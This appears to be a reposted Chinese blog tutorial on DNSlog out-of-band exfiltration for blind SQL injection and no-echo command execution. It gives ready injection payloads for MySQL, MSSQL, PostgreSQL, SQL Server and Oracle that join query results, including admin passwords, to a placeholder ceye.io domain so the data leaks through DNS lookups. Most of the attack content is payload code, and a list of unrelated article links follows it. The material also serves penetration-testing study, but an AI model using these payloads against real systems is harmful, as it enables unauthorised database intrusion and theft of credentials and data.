博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Dnslog在SQL注入中的利用
阅读量:5950 次
发布时间:2019-06-19

本文共 2826 字,大约阅读时间需要 9 分钟。

参考文献:

DNSlog在Web攻击的利用

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过DNSlog把想获得的数据外带出来。

常用情况

SQL注入中的盲注

无回显的命令执行
无回显的SSRF

原理

img_bead50ab28f44f9ff52aaef30240573e.jpe
1.jpg

攻击者提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,只要能获得DNS的日志,就得到了想要的值。

  • 推荐一个免费的dnslog平台:

1.命令执行

ping %USERNAME%.xxxxxx.ceye.io

img_e612bac055f4e46d49f22859a1348f18.png
1.png

2.MySQL

load_file

在MySQL中有个load_file()函数可以用来读取本地的文件,load_file()函数还可以用来发送dns解析请求
以SQLi-LABS 第五关为例:
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+

img_a613e7d1609e94c2ef026d60fd4f2c1c.png
1.png
payload:
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+
img_69c76cb8305e2882a94aa7c5df012533.png
2.png

concat()函数拼接了4个\了,因为转义的原因,\\\\就变成了\\,目的就是利用UNC路径

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。在Widnows中用共享文件的时候就会用到这种网络地址的形式\\sss.xxx\test\

  • Linux没有UNC路径这个东西,当MySQL处于Linux系统中的时候,不能使用这种方式外带数据的
img_e612bac055f4e46d49f22859a1348f18.png
1.png

3.msSQL

DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

4.postgreSQL

DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';   EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();

5.SQL Server

存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹。

DECLARE @host varchar(1024);注册一个名为@host的变量,类型为varchar。SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');列远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

6.Oracle

UTL_HTTP.REQUESTselect name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL;DBMS_LDAP.INITselect name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL;HTTPURITYPEselect name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL;UTL_INADDR.GET_HOST_ADDRESSselect name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL;

转载地址:http://hesxx.baihongyu.com/

你可能感兴趣的文章
对字符串进行加密解密
查看>>
jmx相关资料
查看>>
eclipse 打包 apk 文件
查看>>
BZOJ 1180: [CROATIAN2009]OTOCI [LCT]
查看>>
doT.js灵活运用之嵌入使用
查看>>
CentOS7--Firewalld防火墙
查看>>
Atom 编辑器系列视频课程
查看>>
C#三种定时器
查看>>
范数 L1 L2
查看>>
协同过滤及大数据处理
查看>>
Java8 本地DateTime API
查看>>
jQuery 增加 删除 修改select option
查看>>
[原][osgearth]osgearthviewer读取earth文件,代码解析(earth文件读取的一帧)
查看>>
.NET解决[Serializable] Attribute引发的Json序列化k_BackingField
查看>>
springboot 常用插件
查看>>
算法笔记_031:计算中值和选择问题(Java)
查看>>
一个基于特征向量的近似网页去重算法——term用SVM人工提取训练,基于term的特征向量,倒排索引查询相似文档,同时利用cos计算相似度...
查看>>
[转]Newtonsoft.Json高级用法
查看>>
35个Java代码性能优化总结
查看>>
Spring+SpringMVC+MyBatis+easyUI整合基础篇(一)项目简述及技术选型介绍
查看>>